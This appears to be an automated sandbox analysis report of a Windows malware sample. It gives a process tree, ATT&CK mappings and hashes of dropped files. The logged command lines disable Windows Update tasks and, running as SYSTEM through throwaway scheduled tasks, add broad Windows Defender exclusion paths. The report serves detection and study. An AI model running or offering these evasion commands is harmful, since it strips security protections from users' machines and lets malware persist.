      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3324
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1920
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4692
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4300
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:736
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3156
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4616
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4680
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2508
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3536
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1008
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1400
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1800
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1240

C:\Users\Public\nW1pr0\kNKnLl.exe
"C:\Users\Public\nW1pr0\kNKnLl.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4944

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nW1pr0" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3280
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nW1pr0" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4084

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3104

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:60
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5108

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4920

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1392
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2596

C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe
"C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:392

C:\Program Files (x86)\1d9Zpd8\5V7kb.exe
"C:\Program Files (x86)\1d9Zpd8\5V7kb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3112

C:\ProgramData\HB6rIfmK.exe
C:\ProgramData\HB6rIfmK.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2876

C:\ProgramData\3YLUasBo\GrOcS3OF.exe
C:\ProgramData\3YLUasBo\GrOcS3OF.exe
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:2880

C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe 1776
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3076

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\3Ew4PB" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1780
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\3Ew4PB" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:708

C:\Program Files (x86)\1d9Zpd8\5V7kb.exe
"C:\Program Files (x86)\1d9Zpd8\5V7kb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1876

C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe
"C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4456

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4236
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1668

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\1d9Zpd8\XPSPLOG.dll
Size 4.6MB
SHA256 0acc22a03a3264bef095575291c95ba5df3d096b0bbb7c62f0cfac7e009f713d
MD5 028f0d18c6549350d2db25ce20497b45
SHA1 4484afa61967b2f83299d21917d4392de279e13a
SHA512 1f04ccb402ca0c70b21c0e52de828f0939be427a79e5e72f11f15d93019e0f0328bd67819b0a3a3315dc69108403ce37c2fd19419123e2b7d3d46f9f3d215519
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyD:BMWKfU+BcUTHCCCfqCiUffnD
TLSH
T13F263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\1d9Zpd8\image.png
Size 4.8MB
SHA256 0d6c2d6363403aa439bf9975c75629b879388a16023e1d62ce83e100bc15364e
MD5 4eaccd98f7381007630ddfa6d5948b1d
SHA1 ddc57cf9d84135cf06220d5d461fab666b33173f
SHA512 bac7500027e482e2ac07d00b8423b8693c425776786b5ebb78102bc0a2f6efc03d549d3ecc66f28c6ae3cb773e3b0e4e892092fa1b49a24cde05db8cca98cd11
SSDEEP 98304:a/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:aMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18436334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D24B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3Ew4PB.exe

Path C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll
Size 4.6MB
SHA256 c2d95417ee8e5780427884dcdb15ad9a548f33719eddb9378e684702a19e6494
MD5 6c1c42414be236ba840dc0e36303371e
SHA1 b6a1384e87b8abbf47da0337a320eed52305e5f5
SHA512 33cca6131a0f43d8cda2b0197b1c0019d123aab98d3da7dfb5cf82a3b8da09f958ec6a06d1cd9b636ab3f56080f0c982e7a4e88045e7046b0e1172cdfe79929c
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy6:BMWKfU+BcUTHCCCfqCiUffn6
TLSH
T195263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\3Ew4PB\image.png
Size 4.8MB
SHA256 422762b23f35ddf9e417c1bf01333fc93f4aae0502211b4400d69fba7ccb47ff
MD5 ea00cdbc60f14ea62e392c0f6b8eeaea
SHA1 30b33ce3de0f0c04551add50aed15d6a7f9a7d52
SHA512 cc6b042955be6cb8b0a56ad14936b33b8b84af846d9fb264d696ab8d8ea506c97c439302a05ff17b38be39617a4e9f1d02aa71144d3327b4fecd7711db6cd4f8
SSDEEP 98304:X/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:XMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1B836334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\3Ew4PB\thumbs.db
Size 358KB
SHA256 67a6f43b2e65f9f83e4619e98155ef9794286d9d2f2e0f3868f9488815af40ce
MD5 d96c13358da314853505a3e1996edf62
SHA1 68c833becd9c1ff07639053c02f671d7c62351c8
SHA512 4449de3dcd1aab36aa6b98a375f5d23ddd6fc3883e65e65347c76bdc40a3f52ea5aa759ce110331c42d68852141091ce275023c84bd3f6fe7e5730db1c2798c7
SSDEEP 6144:IiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:/8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T16D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.dat

Path C:\ProgramData\3YLUasBo\GrOcS3OF.dat
Size 56KB
SHA256 fc8962b670e1394072326a369442d8fd5b5affde6583e43b08befc641bcd2ddf
MD5 e5f425bd121f53991894386afb2eefce
SHA1 78c6ff8b666a7ee1266141e1f5d7e2ed0164c585
SHA512 39f40fe69bbc6997b2364884f02ccf8f86673ab05ff7242045a4e02abb2977f78641fd0d0611d7e6bcb26372ccdaf10d188c24ffc703cb0a76d3d4ca6f1d826c
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJYl:LsUL1PSkbvG2pkze2GYl
TLSH
T1DB43020AD5F17B3ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.exe

Path C:\ProgramData\3YLUasBo\GrOcS3OF.exe
Size 475KB
SHA256 701d04aacf88a95d66338341fc052331e4aca710d34939a3c62c47544ea0ef01
MD5 6d117ebdfc594556bda8587753c6b77b
SHA1 80b9cded58e94d8501886efb97dc2c35fbabf211
SHA512 46be62944ae65f8f357d7e6006d87cc0a643175dc86a41c4b27b9db12e5e387595e25e97141f50475414d75c1449a68be618a5fd6fac57074f6895c2e7f84e22
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/5:gthTiP+ffCfB5Lf0F7Z1EDsV5
TLSH
T1EBA42322B76BD826EB0E083542A5DF7D4A7ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.png

Path C:\ProgramData\3YLUasBo\GrOcS3OF.png
Size 167KB
SHA256 100817d162a659dea7f0a9b1bf98ae7cc19542d5b201d72c98733376e2711e13
MD5 b2bf14cb2102edb742b1aa6d6cca4daa
SHA1 c0cf66383952ef8d603509041c91826cc1e67095
SHA512 08d0074df09a7ca112d85d42500675535ff8c31c23ce544b7d53fad60a83bcb91b54b476e546f3fc9780a41974932279916ecf6f5403804eb739f312d79d0db8
SSDEEP 3072:ExvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:EH+KKo4dNK2d2kdXYon74mBV1X
TLSH
T119F3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HB6rIfmK.exe

Path C:\ProgramData\HB6rIfmK.exe
Size 2.5MB
SHA256 5036c84ca96435274fbfd63933d4c9ec354d7df4fbecaff32731ed3df3083c61
MD5 f5b1d9dc11ab37f5ceb31cde700c67ce
SHA1 1967b56096f7bbd2ef35003250cbc7991b26b72b
SHA512 04142e2d0d16b06089d4b8ef2a3b85d65f8f30131231962f38eaee9d0ae9713bef4a4a3358037077f33acd20e5cc9ba0ee63b0ff1035fdcbe76f06765fdc172d
SSDEEP 49152:sSX2vsEpkYfjcXP+D+3TGcGvntClmwvoj+4mWthy21RL7iEJBN:Pm0+0PjTVGvEvvojLSSviYBN
TLSH
T1CCC523126DDA81E5D5820B30D71FA7C732F09594CAB08C34EFC179887472F67A27ADA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yHDc9ZDz.exe

Path C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
Size 663KB
SHA256 234a18a637d12c5a6046644e0befb8227fdb1521b4829acd5f1831211b71d859
MD5 7054473034e125464263b94b9888da19
SHA1 9d1ab5c458c920af66f65097d9d0e524749fcbcf
SHA512 c5bf93f8647090b97f2f1761b8a1c7fe7f421949d9746f103512b840fc51b8ab021c67edf771d356c61e23dd33b476f265b6b0ad0da7e3f0d142848cfbdf9400
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgb2:hpYF/e5icRQjV3pRR2Aobllh
TLSH
T1C2E423C99C65B095C0A009FABC118D2BE50E5174209EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 08ab1c3304a79a37bd92b288b19b0ba395c41ec1bee7f6e0c431058e79d7ed03
MD5 359cbfb5d1877e52a33aa6efa700cabf
SHA1 56fc16c63d4ef2b48525f51b40396b303ec8ec6e
SHA512 cb29e72eb1ddc2fc3801ba3bcfca910e047a8d94ad0969c06ff58882c0eada6850b7b92299fef4d3467f5f8559389bbdc0794131999f5252c37bbec53dd5072d
TLSH
T1C921C95D4AF131A0BFC13D5A27C9C9337DE126C148AC015BC13884CA12003A66E6791D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 da79afa2b5cd4efeca6eda107cd23d68720906c4932e3ad71f41a820d69c1a4e
MD5 2f5d3e8db9175900dcd1c2dd35a1e8d0
SHA1 e517196b47705c9e16538ac91a46591550b01d73
SHA512 c1857300de90a9e1589936dad7bebca0cf78c2dc6cf24d6fc4e65f575120e77dd8bf24079eee471356a8c37f25c624b5bc85bad35609fe716c8189644045bc0e
TLSH
T1B32189974AB62035D7558D081584AE373CF2B7E555DD5805B14E82E62A043F6AF0D229
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 bcee04004b51eabde55af34329e7de6499e73fa07073628d3e713dcba19c54b8
MD5 25d06c653deef557e1856dad7bb9e637
SHA1 4e8664718e71ebfb41a5cd8adecd7f735f17c5dd
SHA512 29cfb3f8216e8cfaf07ee326e1dffbabee239eaba465b32188a44f799f3a03f295722e2709a36a90713111087529a22556e5ed8f1f49efd3397efa595ad44e2b
TLSH
T19C21969355643C4A27809CAE4C97C7B32D75F4DF4CC479002473949DAA142E3AF0D6D7
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 c4d21c2525e98c45899733c927a048623b4f23534ca77d9392a48d718133f761
MD5 b391cb0db043b03edab94de59ad89f96
SHA1 38d62aee20144dc5bcd91392b0e23252d840d36a
SHA512 8312baf2329c25b18ce540e654baacfde9f6d6c54465074f423ca2b907aea5b9c3401fa283da8120b34234c6372fb92baba3e9af9c3f6ef8b85ae57f22b989c9
TLSH
T10BF05C3849FD412BF0B1CA3906D938AAEA7FF622300945A533E58B0E7905F017C5163D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 c9a219d90e446e3efb35a0051981e4efeb7184bb9494cebec9a6a93a9ca934da
MD5 9362938e55bb194f5c33a50cfca2cb04
SHA1 9f57b228a9aaa665699d9fddb6655d9b22f7e255
SHA512 a8ad562ec7d6e2ed3384483f5fc3ae88328ea06ade08819c6ed78f1ce08995bb53f4ee8ad641e7c103f52ba18e352267f263b4c0232277469881099c558adea1
TLSH
T1E7F05524B9F85059F23BCF7C15E222F1EA6BB913250456FF0A9B430B6B18A001DC627E
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 b4653bfa3d90e103bea913412e7dd59c67669cf9ffd32896802843ec565b8e13
MD5 15db5482e87ef670e2da2930dad97acb
SHA1 8b82c2611e6c632c503e671569ca28c05093cb8d
SHA512 e6ba7884e75d4da16179b49bd02ef134ec0891d98745214a4d27b5457d0ff983625d910d440bcb9e64f688d7d0f0e91f4323de97e4fe944adb8c12603fb8f1bf
TLSH
T106F0972850F9825EF0B2E9380BD4666489A5F504A40083AC1BA38F1CBE54F00ADE0B3D
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 e7eba09e41775cfe78749be3368c2228219a3511cec72be2e00cc9d1ecaeddb9
MD5 f7a841658614e9720bcb760ec7eed8bc
SHA1 0fdfb95d66dd4375394a1c63429db6864236790f
SHA512 27b43c2e8b88c9f7fb5e8869e6c4aeb69a1481f7bfaf7b1230c7b5f95bec37b09ff1a3b27818beb3851ce728f2c357bd39fad105a0337222fd594ac74fa3177c
SSDEEP 384:Rsf+BG9m+QSsW7ew0lBiGLk+o9nTpK6seY4JE/Q/H3SoZHfx3gMjELkSQ0gdMtk6:Wf8SsPDloRjnTpNnOqXSyOSEL/Cm3
TLSH
T12482C76E611F16C3C48613B8E11B055FE8F2DE8D531A13D87B1E9F3B8AACA5E903D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_u21kyjyz.k31.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u21kyjyz.k31.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\nW1pr0\UxEnhance64.dll
Size 3.1MB
SHA256 7b788bf1513f638302ab70b8547b00e0f4508f03c99c13081fc1656f3524f6fa
MD5 8655544d08a35cfa6bcde0ec3029fde2
SHA1 ca5016367b2211f9e744e656d271e8c0406bdc88
SHA512 602919cbb5cd3ad7a10b596084ea6be14f2f3cbceb794eb94aaa5ef286235b17d0be2139804010cfb35a3cdb1e1cf339b0083cd5dd541199ccdd57ff14f7dfde
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+W:P9m29xx3Tiqt06ox6+z2rNNrKoW
TLSH
T1DEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

